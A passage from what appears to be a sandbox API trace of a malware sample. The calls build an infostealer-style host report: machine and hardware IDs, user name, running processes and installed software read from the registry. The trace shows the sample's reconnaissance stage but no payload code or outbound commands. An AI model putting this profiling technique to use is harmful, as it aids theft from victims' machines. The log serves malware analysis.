accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\n", lpString2="Microsoft InfoPath MUI (English) 2016" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016"
[0054.966] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="16.0.4266.1001", lpcbData=0x1816c0*=0xf) returned 0x0
[0054.967] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Outlook MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Word MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Office Proofing Tools 2016 - English [16.0.4266.1001]\nOutils de vérification linguistique 2016 de Microsoft Office - Français [16.0.4266.1001]\nHerramientas de corrección de Microsoft Office 2016: español [16.0.4266.1001]\nMicrosoft Office Proofing (English) 2016 [16.0.4266.1001]\nMicrosoft InfoPath MUI (English) 2016 [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 [11.0.61030.0]\nMicrosoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 [12.0.30501.0]\nJava Auto Updater [2.8.171.11]\nMicrosoft Visual C++ 2015-2019 Redistributable (x86) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2015-2019 Redistributable (x64) - 14.25.28508 [14.25.28508.3]\nMicrosoft Visual C++ 2005 Redistributable [8.0.61001]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Access MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Excel MUI (English) 2016 [16.0.4266.1001]\nMicrosoft PowerPoint MUI (English) 2016 [16.0.4266.1001]\nMicrosoft Publisher MUI (English) 2016 